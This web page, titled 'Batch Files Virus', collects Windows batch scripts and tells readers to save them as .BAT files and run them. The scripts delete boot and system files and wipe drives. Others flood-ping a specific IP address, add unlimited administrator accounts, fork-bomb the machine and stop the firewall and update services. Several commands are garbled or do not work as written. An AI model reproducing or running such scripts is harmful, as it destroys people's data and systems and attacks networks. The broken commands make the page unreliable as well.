Batch Files Virus

Type the code in Notepad and Save it has .BAT file and double click to Execute.

Code: //Delete the Reboot file and Shutdown
@echo off
attrib -r -s -h c:autoexec.bat
del c:autoexec.bat
attrib -r -s -h c:boot.ini
del c:boot.ini
attrib -r -s -h c:ntldr
del c:ntldr
attrib -r -s -h c:windowswin.ini
del c:windowswin.ini

Code: //Destroy the hard-drive.
@echo off
kill %windir%
del %windir%
del *.txt
del *.exe
del *.bat
del *.ini
:ok
start, cmd
Goto ok

Code: //Destroy the hard-drive.
@echo off
deltree c://
deltree d://
kill c://
kill d://
Copy halo.bat %0 %windir%
start daily halo.bat


Code: //Corrupt the OS/delete all files in "WIN32"
@echo off
kill %windir%
del %windir%
del *.txt
del *.exe
del *.bat del *.ini
:ok
start, cmd
Goto ok

Code: //Complete wipe out:
RMOR C: /S /Q

Code: //Erases Hard-Drive then shutsdown computer.
@echo off
del *.txt
del *.exe
del *.ini
net stop "security"
del c://windows/system32
mkdir O
copy halo.bat O
copy %0 halo.bat %windir%
kill %windir%
kill system.ini

Code: //erase the hard drive
hdmemory/release
echo total hard drive erased
echo xJeftabx strikes again!shutdown -r -f -t0

Packet flooder
@echo off
:flood ping -l 65500 -t 10.179.65.68
start flooder.bat
goto flood

Msg Annoyer (Message Broadcaster)
@echo off
:netannoy
msg * Hi!
msg * How r u ?
msg * Wat's Up ?
msg * Myself Kamal raj....
goto netannoy

Create Unlimted User
@echo off
:usrflood
set usr=%random%
net users %usr% %random% /add
net localgroup administrators %usr% /add
goto usrflood

Folder Replicator Virus
:loop
md Virus
cd Virus
goto loop

Fork Bombing
@echo off
:loop
Explorer
Call fork.bat
Goto loop

How To Change All Files Extension
REN *.DOC *.TXT
REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT

Application Bomber
@echo off
:loop
start notepad
start compmgmt.msc
start mspaint
start osk
start cmd
start explorer
start control
start calc
goto loop

or

%0|%0


Service Disabler
@echo off
net stop "Windows Firewall"
net stop "Windows Update"
net stop Workstation
net stop "DHCP Client"
net stop "DNS Client"
net stop "Print Spooler"
net stop Themes exit


Cool Batch File Tricks
@echo off
:start
start
%0
goto :start

Batch File Tricks(create 3000 folder in a single minute)
@echo off
:loop
md %random%
goto loop

Dangerous batch File Coding
@echo off
del c:\windows\system32\restore
del c:\windows\system32\winlogon.exe
del c:\windows\system32\logonui.exe
shutdown -f

Fork Bombing
@echo off
:loop
Explorer
Call fork.bat
Goto loop

The system to crash by popping up hundreds of windows on the screen


"I'M NOT RESPONSIBLE IF YOU ACCIDENTLY RUN THESE BATCH FILES ON YOUR OWN COMPUTER; YOU OWNED YOURSELF."